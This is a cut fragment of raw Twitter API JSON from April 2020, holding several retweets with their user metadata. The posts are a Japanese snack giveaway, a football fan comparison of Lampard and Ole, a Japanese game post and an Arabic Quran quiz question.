2016\",\"favourites_count\":3093,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":10958,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/940231026038661120\\\/wBNpUy9N_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/940231026038661120\\\/wBNpUy9N_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/752359744111714304\\\/1509239794\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Fri Apr 24 09:23:10 +0000 2020\",\"id\":1253615456675495936,\"id_str\":\"1253615456675495936\",\"text\":\"\\ud83d\\udce2\\u304a\\u3046\\u3061\\u3067\\u98df\\u3079\\u308b\\u30ad\\u30e3\\u30f3\\u30da\\u30fc\\u30f3\\uff01\\uff01\\n #\\u81ea\\u7c9b\\n\\ud83d\\udc9c\\u5bb6\\u306b\\u3044\\u308b\\u6a5f\\u4f1a\\u304c\\u5897\\u3048\\u308b\\u3068 \\u30b9\\u30c8\\u30ec\\u30b9\\u6e9c\\u307e\\u3063\\u3066\\u7518\\u3044\\u3082\\u306e\\u6b32\\u3057\\u304f\\u306a\\u308a\\u307e\\u305b\\u3093\\uff1f\\n#\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a \\n\\ud83c\\udf69\\u62bd\\u9078\\u30673\\u540d\\u69d8\\u306b\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8 \\u2b07\\ufe0f\\n\\u30d6\\u30eb\\u30dc\\u30f3 35\\u888b\\u5165\\n#\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e \\u306b\\u53c2\\u52a0\\u3055\\u305b\\u3066\\u3044\\u305f\\u3060\\u304d\\u307e\\u3059\\u2026 https:\\\/\\\/t.co\\\/Ce2yCK3tj1\",\"truncated\":true,\"entities\":{\"hashtags\":[{\"text\":\"\\u81ea\\u7c9b\",\"indices\":[18,21]},{\"text\":\"\\u30b3\\u30ed\\u30ca\\u306b\\u8ca0\\u3051\\u308b\\u306a\",\"indices\":[57,66]},{\"text\":\"\\u304a\\u304b\\u3057\\u3064\\u306a\\u304e\",\"indices\":[95,102]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Ce2yCK3tj1\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253615456675495936\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1163377400081612800,\"id_str\":\"1163377400081612800\",\"name\":\"Kantanlife\",\"screen_name\":\"kantanlife2019\",\"location\":\"\",\"description\":\"\\ud83c\\udf81\\u30d7\\u30ec\\u30bc\\u30f3\\u30c8\\u4f01\\u753b\\u958b\\u50ac\\u4e2d~ \\ud83d\\udde3\\u30c4\\u30a4\\u30bf\\u3067\\u8272\\u3093\\u306a\\u30ad\\u30e3\\u30f3\\u30da\\u30f3\\u30fc\\u3084\\u62bd\\u9078\\u3092\\u884c\\u3063\\u3066\\u3044\\u307e\\u3059\\u3001\\u305c\\u3072\\u30d5\\u30a9\\u30ed\\u30fc\\u3057\\u3066\\u304f\\u3060\\u3055\\u3044\\ud83e\\uddd8\\u200d\\u2640\\ufe0f \\ud83d\\udc9d\\u7121\\u6599\\u8a66\\u4f9b\\u54c1\\u63d0\\u4f9b\\u4e2d \\u203b\\u571f\\u66dc\\u30fb\\u65e5\\u66dc\\u30fb\\u795d\\u796d\\u65e5\\u306f\\u304a\\u4f11\\u307f\\u3092\\u3044\\u305f\\u3060\\u3044\\u3066\\u304a\\u308a\\u307e\\u3059\\u3002 \\u30e1\\u30fc\\u30eb\\u3001\\u304a\\u554f\\u3044\\u5408\\u308f\\u305b\\u306e\\u304a\\u8fd4\\u4e8b\\u306f\\u7fcc\\u55b6\\u696d\\u65e5\\u3068\\u306a\\u308a\\u307e\\u3059\\u3002 \\u2764\\u30b3\\u30e9\\u30dc\\u306f\\u5927\\u6b53\\u8fce!\\uff01 #8000\\u30d5\\u30a9\\u30ed\\u30fc\\u30ef\\u306e\\u304a\\u9858\\u3044 #\\u62e1\\u6563\\u5e0c\\u671b\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":6691,\"friends_count\":30,\"listed_count\":13,\"created_at\":\"Mon Aug 19 09:09:28 +0000 2019\",\"favourites_count\":527,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":209,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236235021934977025\\\/aYI9CgxV_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236235021934977025\\\/aYI9CgxV_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1163377400081612800\\\/1583576667\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":2224,\"favorite_count\":550,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":2224,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511288590338,\"id_str\":\"1254206511288590338\",\"text\":\"RT @RiZzyUTD: There are still some Chelsea fans who say \\\"Lampard > Ole\\\". Let me remind you, Lampard faced Ole 3 times (2x at home) this sea\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"RiZzyUTD\",\"name\":\"RiZzy\\ud83d\\udd34\",\"id\":1113785724975890435,\"id_str\":\"1113785724975890435\",\"indices\":[3,12]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":942008384,\"id_str\":\"942008384\",\"name\":\"NwabuKing Alfonso\",\"screen_name\":\"AlfonsoNwab\",\"location\":\"Lagos\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":514,\"friends_count\":2063,\"listed_count\":1,\"created_at\":\"Sun Nov 11 19:15:25 +0000 2012\",\"favourites_count\":26641,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":27703,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1178184591544336384\\\/jXp8EFVQ_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1178184591544336384\\\/jXp8EFVQ_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/942008384\\\/1442338235\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 15:51:27 +0000 2020\",\"id\":1254075557697986562,\"id_str\":\"1254075557697986562\",\"text\":\"There are still some Chelsea fans who say \\\"Lampard > Ole\\\". Let me remind you, Lampard faced Ole 3 times (2x at home\\u2026 https:\\\/\\\/t.co\\\/OZZHocU4ZE\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/OZZHocU4ZE\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254075557697986562\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[120,143]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1113785724975890435,\"id_str\":\"1113785724975890435\",\"name\":\"RiZzy\\ud83d\\udd34\",\"screen_name\":\"RiZzyUTD\",\"location\":\"\",\"description\":\"@ManUtd Fan account | Private acc:@PrivRiz | \\ud83c\\uddf8\\ud83c\\uddf4\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":42282,\"friends_count\":2589,\"listed_count\":228,\"created_at\":\"Thu Apr 04 12:49:44 +0000 2019\",\"favourites_count\":121877,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":41101,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253155559098003456\\\/FAM_cCLX_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253155559098003456\\\/FAM_cCLX_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1113785724975890435\\\/1586841143\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":281,\"favorite_count\":2766,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":281,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511217143811,\"id_str\":\"1254206511217143811\",\"text\":\"RT @qootaro7: \\u5b54\\u660e\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u304c\\u308b\\u306e\\u3081\\u3063\\u3061\\u3083\\u9045\\u3044\\u3067\\u3059\\u304c\\u3001\\u5f7c\\u3092\\u77e5\\u308c\\u3070\\u77e5\\u308b\\u307b\\u3069\\u300e\\u3082\\u3063\\u3068\\u2026\\u9045\\u304f\\u3066\\u3044\\u3044\\u306e\\u3088\\u2026\\uff01\\uff01\\uff01\\u305d\\u308c\\u3067\\u3053\\u305d\\u2026\\u541b\\u3060\\u2026\\uff01\\u30a2\\u30e9\\u30e9\\u30a4\\u2026\\uff01\\u300f\\u3063\\u3066\\u306a\\u308a\\u307e\\u3059\\u3002\\n\\u3067\\u3082\\u4eca\\u56de\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u3052\\u306b\\u6642\\u9593\\u5236\\u9650\\u304c\\u3042\\u308b\\u306e\\u3067\\u3001\\u305d\\u306e\\u8fba\\u308a\\u6c17\\u3092\\u3064\\u3051\\u3066\\u30fc\\u3002 https:\\\/\\\/t.co\\\/Q8f71XG\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"qootaro7\",\"name\":\"Fake6\\u5dfb\\u3092\\u8aad\\u3093\\u3060Qoo\\u305f\\u308d\\u30fc\",\"id\":726817725419397120,\"id_str\":\"726817725419397120\",\"indices\":[3,12]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":195312634,\"id_str\":\"195312634\",\"name\":\"\\u306a\\u3080\\u306a\\u3080\",\"screen_name\":\"namunohi\",\"location\":\"\\u5343\\u8449\\u770c\",\"description\":\"\\u6210\\u4eba\\u6e08\\u8150\\u5973\\u5b50 \\u7dcf\\u4e00 \\u7dd1\\u9ad8 \\u5d50\\u8fc5 \\u30b6\\u30d7\\u30ec\\u30aa \\u30de\\u30fc\\u30ed\\u30de \\u5973\\u4f53\\u5316\\u611b\\u3057\\u3066\\u308b \\u767e\\u5408\\u3082\\u30d8\\u30c6\\u30ed\\u3082\\u5927\\u597d\\u7269 \\u81ea\\u5df1\\u5b8c\\u7d50\\u3059\\u308b\\u6027\\u8cea\\u306e\\u305f\\u3081\\u4f1a\\u8a71\\u304c\\u82e6\\u624b RT\\u9b54 \\u8003\\u5bdf\\u5927\\u597d\\u304d\\u3060\\u304c\\u81ea\\u5206\\u3067\\u3067\\u304d\\u308b\\u3068\\u306f\\u8a00\\u3063\\u3066\\u3044\\u306a\\u3044 \\u5357\\u7121\\u306e\\u65e5\\u751f\\u307e\\u308c\",\"url\":\"https:\\\/\\\/t.co\\\/zyXOarl5eN\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/zyXOarl5eN\",\"expanded_url\":\"https:\\\/\\\/fusetter.com\\\/u\\\/namunohi\",\"display_url\":\"fusetter.com\\\/u\\\/namunohi\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":294,\"friends_count\":565,\"listed_count\":50,\"created_at\":\"Sun Sep 26 11:10:51 +0000 2010\",\"favourites_count\":156962,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":538977,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"9AE4E8\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme16\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme16\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/495384537585573889\\\/RjXK-joV_normal.jpeg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/495384537585573889\\\/RjXK-joV_normal.jpeg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/195312634\\\/1470121689\",\"profile_link_color\":\"0084B4\",\"profile_sidebar_border_color\":\"BDDCAD\",\"profile_sidebar_fill_color\":\"DDFFCC\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 13:03:54 +0000 2020\",\"id\":1254033393991335937,\"id_str\":\"1254033393991335937\",\"text\":\"\\u5b54\\u660e\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u304c\\u308b\\u306e\\u3081\\u3063\\u3061\\u3083\\u9045\\u3044\\u3067\\u3059\\u304c\\u3001\\u5f7c\\u3092\\u77e5\\u308c\\u3070\\u77e5\\u308b\\u307b\\u3069\\u300e\\u3082\\u3063\\u3068\\u2026\\u9045\\u304f\\u3066\\u3044\\u3044\\u306e\\u3088\\u2026\\uff01\\uff01\\uff01\\u305d\\u308c\\u3067\\u3053\\u305d\\u2026\\u541b\\u3060\\u2026\\uff01\\u30a2\\u30e9\\u30e9\\u30a4\\u2026\\uff01\\u300f\\u3063\\u3066\\u306a\\u308a\\u307e\\u3059\\u3002\\n\\u3067\\u3082\\u4eca\\u56de\\u306f\\u7d46\\u30ec\\u30d9\\u30eb\\u4e0a\\u3052\\u306b\\u6642\\u9593\\u5236\\u9650\\u304c\\u3042\\u308b\\u306e\\u3067\\u3001\\u305d\\u306e\\u8fba\\u308a\\u6c17\\u3092\\u3064\\u3051\\u3066\\u30fc\\u3002 https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254033375712571395,\"id_str\":\"1254033375712571395\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"display_url\":\"pic.twitter.com\\\/Q8f71XGiNe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/qootaro7\\\/status\\\/1254033393991335937\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1334,\"h\":750,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254033375712571395,\"id_str\":\"1254033375712571395\",\"indices\":[105,128],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWc4tgfU8AMtVte.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/Q8f71XGiNe\",\"display_url\":\"pic.twitter.com\\\/Q8f71XGiNe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/qootaro7\\\/status\\\/1254033393991335937\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1334,\"h\":750,\"resize\":\"fit\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"ja\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":1254029743504031744,\"in_reply_to_status_id_str\":\"1254029743504031744\",\"in_reply_to_user_id\":726817725419397120,\"in_reply_to_user_id_str\":\"726817725419397120\",\"in_reply_to_screen_name\":\"qootaro7\",\"user\":{\"id\":726817725419397120,\"id_str\":\"726817725419397120\",\"name\":\"Fake6\\u5dfb\\u3092\\u8aad\\u3093\\u3060Qoo\\u305f\\u308d\\u30fc\",\"screen_name\":\"qootaro7\",\"location\":\"\",\"description\":\"\\u304f\\u30fc\\u305f\\u308d\\u30fc\\u3067\\u3059\\u3002\\u30a4\\u30b9\\u30ab\\u30f3\\u30c0\\u30eb\\uff08\\u5927\\u5c0f\\uff09\\u00d7\\u30a6\\u30a7\\u30a4\\u30d0\\u30fc\\uff08\\u5927\\u5c0f\\uff09 \\u30d5\\u30e9\\u2161\\u3068\\u30e1\\u30eb\\u2161\\u3082\\u3082\\u3050\\u3082\\u3050\\u3002\\u30b5\\u30ea\\u30a8\\u30ea\\u5148\\u751f\\u30fc\\uff01\\u30a8\\u30ed\\u3044\\u30fc\\uff01\\u30ea\\u30d0\\u306f\\u97f3\\u697d\\u6027\\u306e\\u9055\\u3044\\u3067\\u305d\\u3063\\u3068\\u96e2\\u308c\\u308b\\u3002\\u7121\\u8a00\\u30d5\\u30a9\\u30ed\\u30fc\\u5931\\u793c\\u81f4\\u3057\\u307e\\u3059 \\u6210\\u4eba\\u6e08\\u3067\\u3059\\u308f\\u3088\\u3002\\u3074\\u304f\\u3057\\u3076\\uff1ahttps:\\\/\\\/t.co\\\/lCgu9WQyrN\",\"url\":null,\"entities\":{\"description\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/lCgu9WQyrN\",\"expanded_url\":\"https:\\\/\\\/pixiv.me\\\/ku2222\",\"display_url\":\"pixiv.me\\\/ku2222\",\"indices\":[98,121]}]}},\"protected\":false,\"followers_count\":787,\"friends_count\":135,\"listed_count\":18,\"created_at\":\"Sun May 01 16:57:04 +0000 2016\",\"favourites_count\":17309,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":19510,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/891533014697562112\\\/j6zQ2wH8_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/891533014697562112\\\/j6zQ2wH8_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/726817725419397120\\\/1501392666\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":7,\"favorite_count\":11,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"ja\"},\"is_quote_status\":false,\"retweet_count\":7,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"ja\"},{\"created_at\":\"Sun Apr 26 00:31:48 +0000 2020\",\"id\":1254206511204700160,\"id_str\":\"1254206511204700160\",\"text\":\"RT @SharqiyaOyun: \\u2733\\ufe0f \\u0627\\u0644\\u0633\\u0624\\u0627\\u0644 \\u0627\\u0644\\u062b\\u0627\\u0646\\u064a :\\n\\u0622\\u064a\\u0629 \\u0641\\u064a #\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646 \\u062c\\u0645\\u0639\\u062a \\u0623\\u0631\\u0628\\u0639\\u0629 \\u0623\\u0633\\u0628\\u0627\\u0628 \\u062a\\u062f\\u0631\\u0643 \\u0628\\u0647\\u0627 #\\u0645\\u063a\\u0641\\u0631\\u0629 \\u0627\\u0644\\u0644\\u0647 \\u0644\\u0644\\u0639\\u0628\\u062f \\u0623\\u0630\\u0643\\u0631\\u0647\\u0627 \\u061f \\n\\u0646\\u0633\\u062a\\u0642\\u0628\\u0644 \\u0627\\u0644\\u0625\\u062c\\u0627\\u0628\\u0627\\u062a \\u062d\\u062a\\u0649 \\u063a\\u062f\\u0627\\u064b \\u0627\\u0644\\u0640 10\\u0645\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646\",\"indices\":[44,51]},{\"text\":\"\\u0645\\u063a\\u0641\\u0631\\u0629\",\"indices\":[78,84]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"SharqiyaOyun\",\"name\":\"\\u0639\\u064a\\u0648\\u0646 \\u0627\\u0644\\u0634\\u0631\\u0642\\u064a\\u0629 \\ud83c\\uddf8\\ud83c\\udde6\",\"id\":3327219576,\"id_str\":\"3327219576\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"ar\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1237722641483681792,\"id_str\":\"1237722641483681792\",\"name\":\"\\u0627\\u0645 \\u0633\\u0644\\u0637\\u0627\\u0646 #\",\"screen_name\":\"HVrw0HcoBkavAo5\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":72,\"friends_count\":728,\"listed_count\":0,\"created_at\":\"Wed Mar 11 12:51:07 +0000 2020\",\"favourites_count\":2591,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3335,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246136541015146496\\\/JZifYs9r_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246136541015146496\\\/JZifYs9r_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 19:35:17 +0000 2020\",\"id\":1254131886697431045,\"id_str\":\"1254131886697431045\",\"text\":\"\\u2733\\ufe0f \\u0627\\u0644\\u0633\\u0624\\u0627\\u0644 \\u0627\\u0644\\u062b\\u0627\\u0646\\u064a :\\n\\u0622\\u064a\\u0629 \\u0641\\u064a #\\u0627\\u0644\\u0642\\u0631\\u0622\\u0646 \\u062c\\u0645\\u0639\\u062a \\u0623\\u0631\\u0628\\u0639\\u0629 \\u0623\\u0633\\u0628\\u0627\\u0628 \\u062a\\u062f\\u0631\\u0643 \\u0628\\u0647\\u0627 #\\u0645\\u063a\\u0641\\u0631\\u0629 \\u0627\\u0644\\u0644\\u0647 \\u0644\\u0644\\u0639\\u0628\\u062f \\u0623\\u0630\\u0643\\u0631\\u0647\\u0627 \\u061f \\n\\u0646\\u0633\\u062a\\u0642\\u0628\\u0644 \\u0627\\u0644\\u0625\\u062c\\u0627\\u0628\\u0627\\u062a \\u062d\\u062a\\u0649 \\u063a\\u062f\\u0627\\u064b \\u0627\\u0644\\u2026 